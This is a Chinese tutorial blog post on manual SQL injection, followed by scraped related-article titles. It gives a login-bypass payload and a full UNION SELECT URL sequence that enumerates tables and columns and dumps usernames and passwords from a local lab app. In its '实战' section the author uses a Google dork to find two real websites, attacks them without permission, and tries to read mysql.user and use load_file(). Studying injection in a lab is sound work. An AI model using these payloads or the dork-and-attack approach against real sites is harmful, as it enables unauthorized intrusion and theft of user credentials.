手动SQL注入原理分析与实践

代码仓库

本文所用代码的代码库地址:

点击这里前往Github仓库

了解SQL注入

定义

SQL注入攻击(SQL Injection),简称注入攻击,是Web开发中最常见的一种安全漏洞。可以用它来从数据库获取敏感信息,或者利用数据库的特性执行添加用户,导出文件等一系列恶意操作,甚至有可能获取数据库乃至系统用户最高权限。

原理

造成SQL注入的原因是因为程序没有有效过滤用户的输入,使攻击者成功的向服务器提交恶意的SQL查询代码,程序在接收后错误的将攻击者的输入作为查询语句的一部分执行,导致原始的查询逻辑被改变,额外的执行了攻击者精心构造的恶意代码。
从本质上来说,SQL注入和XSS注入很相似,都是因为没有做好对用户的输入控制而导致的错误。

环境准备

  • 安装PostgresSQL 和 Mysql:
sudo apt-get update
sudo apt-get install postgresql pgadmin3
sudo pg_createcluster -p 5432 -u postgres 9.3 virusTest --start
sudo netstat -aWn --programs | grep postgres
  • 安装Mysql
sudo apt-get update
sudo apt-get install mysql-server
  • 创建数据库
sudo su
su postgres
psql
create database virustest
  • 在Ubuntu上安装NodeJs
wget -t https://nodejs.org/dist/v6.9.1/node-v6.9.1-linux-x64.tar.xz
tar -xf node-v6.9.1-linux-x64.tar.xz
cd node-v6.9.1-linux-x64.tar.xz/bin
ln -s *****  /usr/local/bin/node
ln -s *****  /usr/local/bin/npm

经典注入:‘ or 1=1

准备工作

  • 编写models/index.jsmodels/migrate.jsmodels/User.js创建如下图所示的User表:

User表

account password
test0 1234560
test1 1234561
test2 1234562
  • 执行node models/migrate初始化数据库
  • 编写 first/index.js 定义简单的服务器
  • 编写 views/index.html 定义简单的登录页面
  • 安装所有依赖npm install

实践

数据库初始化完成后,我们来开心的模拟一次经典的登录注入操作 :使用‘ or 1=1#绕过用户名和密码验证直接登录。

  • 启动服务器 node first/index.js,访问http://localhost:5000/看到如下网页

  • 输入 account : test0, password : 1234560,可以发现登录成功
  • 输入 account : test0, password : wrongPassword,可以发现登录失败
  • 输入 account : ‘ or 1=1# , password : test,可以发现登录成功!!!

我们来看看后台代码中对用户输入的用户名和密码进行验证的的SQL语句:

`select * from Users where account ='${account}' and password='${password}'`

我们将account:‘ or 1=1#,password:test 的值带入,这条语句变成了:

select * from users where account = '' or 1=1 #' and password='test'

可以看到:

  • SQL的Where子句就变成了永真,因为account=‘‘ or 1 = 1永远成立。
  • #后面的语句全部变成了注释(mysql可以用#号来注释代码),不会影响代码正确运行,服务器不会返回500。

这个注入能够成功的原因就在于——灵活使用字符和#字符。

Union子句的妙用

准备工作

  • 编写models/Article和models/migrate.js定义如下图所示的Articles表:

  • 执行node models/migrate初始化数据库
  • 编写路由代码:
router.get("/article",function *(){
    var ctx = this;
    var query = ctx.request.query;
    var articleId = query.id || 1;
    debug("SQL",`select * from Articles where id = ${articleId}`);
    var data = yield db.query(`select * from Articles where id = ${articleId}`,{
        type: db.QueryTypes.SELECT
    });
    data = data.length !== 0 ? data[data.length - 1] : {
        title : "没有这个文章",
        content :"<p>没有这个文章</p>"
    };
    // debug(data);
    yield ctx.render("index.html", data);
})

此路由函数会先接收GET参数传来的id,使用SQL对id进行查询,将查询到的数据渲染到html返回给浏览器端。

实践

  • 启动服务器 node first/index.js,访问http://localhost:3030/article?id=1,可以看到如下图所示的界面:

  • 访问 http://localhost:3030/article?id=3/*ABC*/,可以发现返回的页面没有变化,这说明后台对输入没有过滤,这里是可以注入的。
  • 确认页面可以注入后,访问http://localhost:3030/article?id=3 and 1=2,可以发现页面显示没有文章,因为1=2的判断导致SQL的Where子句永远为false,所以没有文章返回。

  • 使用union子句得到当前文章所在表的列数,从1开始测,依次访问以下网址
http://localhost:3030/article?id=3 and 1=1 union select 1
http://localhost:3030/article?id=3 and 1=1 union select 1,2
http://localhost:3030/article?id=3 and 1=1 union select 1,2,3
http://localhost:3030/article?id=3 and 1=1 union select 1,2,3,4
http://localhost:3030/article?id=3 and 1=1 union select 1,2,3,4,5  

前四步都显示:

这是因为union两头连接的表的字段数不一致,所以SQL语句执行结果是错误的。而访问http://localhost:3030/article?id=3 and 1=1 union select 1,2,3,4,5成功,这是因为Articles表的列数就是5,访问这样的网址,后台实际执行的SQL语句及其结果如下图所示:

  • 访问http://localhost:3030/article?id=3 and 1=1 union select 1,2,3,4,5,我们发现页面展示的还是id=3的文章,查看路由处理的代码:

    可以发现,默认返回的是第一条数据,所以我们加一个order by id DESC就可以看到别的数据了:

http://localhost:3030/article?id=3 and 1=1 union select 10000,2,3,4,5 order by id DESC  

访问上述网址,后台执行的SQL语句及其结果如下图所示

所以页面的返回结果是:

我们可以看到我们传给后端的2,3分别在这里被展示在了页面上。

  • 首先,我们要知道数据库的版本和数据表的名称,访问以下网址:
http://localhost:3030/article?id=3 and 1=1 union select 10000,version(),database(),4,5 order by id DESC  

我们就可以看到数据库的版本和数据表的名称:

这里记下virustest这个数据库的名称。

  • 知道了数据库的名称后,尝试得到我们所需要的表的名称,将访问的网址改成:
http://localhost:3030/article?id=3 and 1=1 union select 10000,2,TABLE_NAME,4,5 FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA=virustest order by rand() DESC  

其中的order by rand()可以帮助我们随机地看到数据库中有哪些表,我们多访问几次,就可以看到有一个Users表:

这个Users表就非常有用,我们来继续注入,尝试着拿到用户名和密码。

  • 知道了数据表的名称后,就可以尝试着得到表中列的名称,将访问网址改成:
http://localhost:3030/article?id=3 and 1=1 union SELECT 10000,COLUMN_NAME,3,4,5 FROM information_schema.columns where TABLE_SCHEMA='virustest' and TABLE_NAME='Users' order by rand()

由于有order by rand(),多访问几次,我们就可以陆续看到所有的列名,有两个字段我们比较感兴趣:

记住“account”字段和“password”字段

  • 知道了数据表的列名后,就可以开始拖库了,访问以下网址:
http://localhost:3030/article?id=3 and 1=1 union select 1,account,password,4,5 from Users order by rand() DESC

访问结果如下图所示:

不断访问这个网址,就可以陆续看到数据库中的所有用户名和密码。

实战

搜索引擎的使用

使用Google搜索inurl:.php?id=MTM=,这里inurl指的是在url内有后面字符串的网站,后面的id=MTM=是指base64加密后的id=13,表明网站对URL进行了base64处理。Google查询出来结果如下:

我自己经过删选测试,选取了两个网站:

本次就对这两个网站进行破解,先回顾一下我们上次自己研究的几个破解步骤:

  • 测试能否被注入
  • 通过union测表段数目
  • 通过mysql函数得到数据库的名称
  • 通过INFORMATION_SCHEMA查询表的名称和表内行的名称
  • 获取想要的数据

我们借助http://www1.tc711.com/tool/BASE64.htm这个base64工具进行base64加解密

第一个网站的SQL注入

第二个网站的SQL注入

总结

我们进行了两次对互联网网站的SQL注入,第一次不是很成功,第三次好歹是拿到数据了,尝试了一下扩大战果,select user,password from mysql.user,失败= - =,估计是没有权限。select hex(load_file())的方法也是失败,毕竟mysql版本是5.5,安全级别较高,想要load_file()还是很难的。

通过以上的实践,我们可以总结出一些防范SQL注入的方法:

  • 限制权限,单独搞一个数据库和用户暴露给外界,把查询的范围和权限限制死,你就算可以注入也然并卵,数据没有用啊!
  • 直接过滤掉union或者select,不允许传的参数里面带有这个(360的做法)

在Restful API的时代,开发者在开发一个项目的时经常用到类似于id=?或者title=?这样的GET参数查询,后端通信可能会有很多这样的漏洞,而这样的漏洞造成的后果往往是灾难性的。开发者尤其是后端开发者一定要注意哦!

原文地址:https://www.cnblogs.com/bbman/p/12073893.html

时间: 2024-11-09 05:43:47

手动SQL注入原理分析与实践的相关文章

报错型sql注入原理分析

0x00:前言 关于sql注入,经久不衰,现在的网站一般对sql注入的防护也相对加强了,2016年的渗透测试报告中,出现最多的是xss(跨站脚本攻击)和明文传输等,但是对sql注入的利用方式,也相对成熟,详细了解sql注入,可以参考之前的文章.http://wt7315.blog.51cto.com/10319657/1828167 今天主要分享下sql注入中的报错型,在大多网上的文章会列出类似于公式的句子,却没解释为什么要使用这样的函数,为什么使用这个函数会出现报错而导致sql注入. 0x01

SQL注入原理讲解,很不错!

SQL注入原理讲解,很不错! 原文地址:http://www.cnblogs.com/rush/archive/2011/12/31/2309203.html 1.1.1 摘要 日前,国内最大的程序员社区CSDN网站的用户数据库被黑客公开发布,600万用户的登录名及密码被公开泄露,随后又有多家网站的用户密码被流传于网络,连日来引发众多网民对自己账号.密码等互联网信息被盗取的普遍担忧. 网络安全成为了现在互联网的焦点,这也恰恰触动了每一位用户的神经,由于设计的漏洞导致了不可收拾的恶果,验证了一句话

SQL注入原理解说,非常不错!

原文地址:http://www.cnblogs.com/rush/archive/2011/12/31/2309203.html 1.1.1 摘要 日前,国内最大的程序猿社区CSDN站点的用户数据库被黑客公开公布,600万用户的登录名及password被公开泄露,随后又有多家站点的用户password被流传于网络,连日来引发众多网民对自己账号.password等互联网信息被盗取的普遍担忧. 网络安全成为了如今互联网的焦点,这也恰恰触动了每一位用户的神经,因为设计的漏洞导致了不可收拾的恶果,验证了

PHPCMS \phpcms\modules\member\index.php 用户登陆SQL注入漏洞分析

catalog 1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考 1. 漏洞描述2. 漏洞触发条件 0x1: POC http://localhost/phpcms_v9/index.php?m=member&c=index&a=login dosubmit=1&username=phpcms&password=123456%26username%3d%2527%2bunion%2bselect%2b%25272%2

SQL注入原理 手工注入access数据库

SQL注入原理 手工注入access数据库 SQL注入是通过将SQL命令插入到web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL指令的目的. 1.判断网站是否有注入点. 在以asp?id=xx(任意数字)结尾的连接依次添加: ' 1=1 1=2 若以上结果显示"数据库出错","正常显示","数据库出错"则该网站存在注入点. 2.猜解表名 在链接末尾添加语句: and exists(select * from admi

某游戏公司后台数据库SQL注入事件分析

某游戏公司后台数据库SQL注入事件分析 人物关系简介 Blank –SA Dawn(Boss) Ryan –DBA Fred –离开公司的安全顾问 本案例出自于<Unix/Linux网络日志分析与流量监控>一书,该事例详细描述了一家公司的后台服务器被入侵,黑客从中获取了大量游戏币帐号,并发送邮件相威胁的案例.主要遇到的问题是服务器被SQL注入或受到了SQL注入攻击 Blank是XX公司的网络架构师,技术好人缘也不错,他实际的工作室XX公司的"首席救火队员",每件事他都要自己

sql注入实例分析

什么是SQL注入攻击?引用百度百科的解释: sql注入_百度百科: 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句.[1]比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表

Java程序员从笨鸟到菜鸟之(一百)sql注入攻击详解(一)sql注入原理详解

前段时间,在很多博客和微博中暴漏出了12306铁道部网站的一些漏洞,作为这么大的一个项目,要说有漏洞也不是没可能,但其漏洞确是一些菜鸟级程序员才会犯的错误.其实sql注入漏洞就是一个.作为一个菜鸟小程序员,我对sql注入的东西了解的也不深入,所以抽出时间专门学习了一下.现在把学习成果分享给大家,希望可以帮助大家学习.下面我们就来看一下. 一.什么是sql注入呢?         所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的

SQL注入原理与解决方法代码示例

一.什么是sql注入? 1.什么是sql注入呢? 所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击.当应用程序使用输入内容来构造动态sql语句以访问数据库时,会发生sql注入攻击.如果代码使用存储过程,而这些存储过程作为包含未筛选的用户输入的字符串来传递,也会发生sql注入. 黑客通过SQL注入攻击